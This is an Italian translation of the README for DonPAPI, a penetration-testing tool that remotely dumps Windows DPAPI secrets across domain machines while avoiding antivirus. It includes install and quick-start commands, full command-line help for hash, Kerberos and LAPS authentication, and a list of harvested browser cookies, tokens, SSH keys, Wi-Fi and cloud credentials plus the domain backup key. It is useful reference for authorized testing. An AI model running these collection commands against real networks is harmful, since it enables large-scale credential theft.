DonPAPI

DonPAPI automatizza il dump remoto di segreti su più computer Windows, con attenzione all'evasione della difesa.

Credenziali raccolte:

• Credenziali, Cookie e Token di Aggiornamento di Chrome del browser Chromium
• Certificati Windows
• Gestione credenziali
• Credenziali e Cookie del browser Firefox
• Credenziali Mobaxterm
• Credenziali MRemoteNg
• Credenziali RDC Manager
• File sul Desktop e nella cartella Recenti
• Credenziali SCCM
• Credenziali Vaults
• Credenziali VNC
• Credenziali WiFi

Abbiamo tenuto un talk in francese su DPAPI intitolato DPAPI - Don't Put Administration Passwords In 🇫🇷:

• Slides

Indice

• DonPAPI
  • Installazione
  • Avvio rapido
  • Utilizzo
    • collect
      • Autenticazione
      • Raccolta
      • OPSEC
      • Recupero
      • Continua la raccolta
    • gui
      • Web
      • Funzionalità
  • Disclaimer
  • Crediti

Installazione {#installation}

Questo strumento dovrebbe essere installato con pipx o in un ambiente virtuale dedicato

pipx install donpapi

oppure (con gli ultimi commit)

pipx install git+https://github.com/login-securite/DonPAPI.git

oppure (per sviluppare)

git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI

Avvio rapido {#quick-start}

pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui

Utilizzo {#usage}

usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...

Dump revelant information on compromised targets without AV detection. Version: 2.0.0

positional arguments:
  {collect,gui}         DonPAPI Action
    collect             Dump secrets on a target list
    gui                 Spawn a Flask webserver to crawl DonPAPI database

options:
  -h, --help            show this help message and exit
  -v                    Verbosity level (-v or -vv)
  -o DIRNAME, --output-directory DIRNAME
                        Output directory. Default is ~/.donpapi/loot/

collect {#collect}

Questa azione viene utilizzata per raccogliere segreti sui target specificati con -t.

usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
                   [-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
                   [-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
                   [--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]

options:
  -h, --help            show this help message and exit
  --keep-collecting seconds
                        Rerun the attack against all targets after X seconds, X being the value
  --threads Number of threads
                        Number of threads (default: 50)
  --no-config           Do not load donpapi config file (~/.donpapi/donpapi.conf)

authentication:
  -t TARGET [TARGET ...], --target TARGET [TARGET ...]
                        the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
                        computer hostnames from LDAP
  -d domain.local, --domain domain.local
                        Domain
  -u username, --username username
                        Username
  -p password, --password password
                        Password
  -H LMHASH:NTHASH, --hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  --no-pass             don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  --aesKey hex key      AES key to use for Kerberos Authentication (1128 or 256 bits)
  --laps Administrator  use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
  --dc-ip IP address    IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
                        The recover file path. If used, the other parameters will be ignored

attacks:
  -c COLLECTORS, --collectors COLLECTORS
                        Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
                        previous) (default: All)
  -nr, --no-remoteops   Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
  --fetch-pvk           Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
  --pvkfile PVKFILE     Pvk file with domain backup key
  --pwdfile PWDFILE     File containing username:password that will be used eventually to decrypt masterkeys
  --ntfile NTFILE       File containing username:nthash that will be used eventually to decrypt masterkeys
  --mkfile MKFILE       File containing {GUID}:SHA1 masterkeys mappings

Autenticazione {#authentication}

L'autenticazione funziona specificando un dominio con --domain, un nome utente con --username, e eventualmente una password con --password, un hash con --hashes, una chiave AES con --aesKey o un ticket Kerberos in formato ccache con -k (stile Impacket). Puoi anche autenticarti tramite LAPS sul computer con --laps e il nome utente dell'account LAPS locale come valore per questo parametro.

Raccolta {#collection}

Per impostazione predefinita, DonPAPI raccoglierà:

• Chromium: Credenziali, Cookie e Token di Aggiornamento di Chrome del browser Chromium
• Certificati: Certificati Windows
• CredMan: Gestione credenziali
• Firefox: Credenziali e Cookie del browser Firefox
• MobaXterm: Credenziali Mobaxterm
• MRemoteNg: Credenziali MRemoteNg
• RDCMan: Credenziali RDC Manager
• File: File sul Desktop e nella cartella Recenti
• SCCM: Credenziali SCCM
• Vaults: Credenziali Vaults
• VNC: Credenziali VNC
• Wifi: Credenziali WiFi
• CloudCredentials: Credenziali cloud
• IDEProjects: File di progetti IDE
• PasswordManagers: File dei gestori di password
• PowerShellHistory: File della cronologia di PowerShell
• RecycleBin: File del Cestino
• SSHSecrets: File di segreti SSH (chiavi)
• VersionControlSystems: Strumenti di versionamento (git per esempio)

Puoi specificare ciascuno di quelli che vuoi raccogliere con --collectors (stile SharpHound). Se usi --fetch-pvk, DonPAPI recupererà automaticamente la Chiave di Backup del Dominio del dominio AD e la userà per decifrare le masterkey. Altrimenti, puoi fornirne una con --pvkfile. --pwdfile, --ntfile sono usati per fornire a DonPAPI segreti per sbloccare le masterkey. Ma se hai masterkey appena decifrate, puoi usare --mkfile.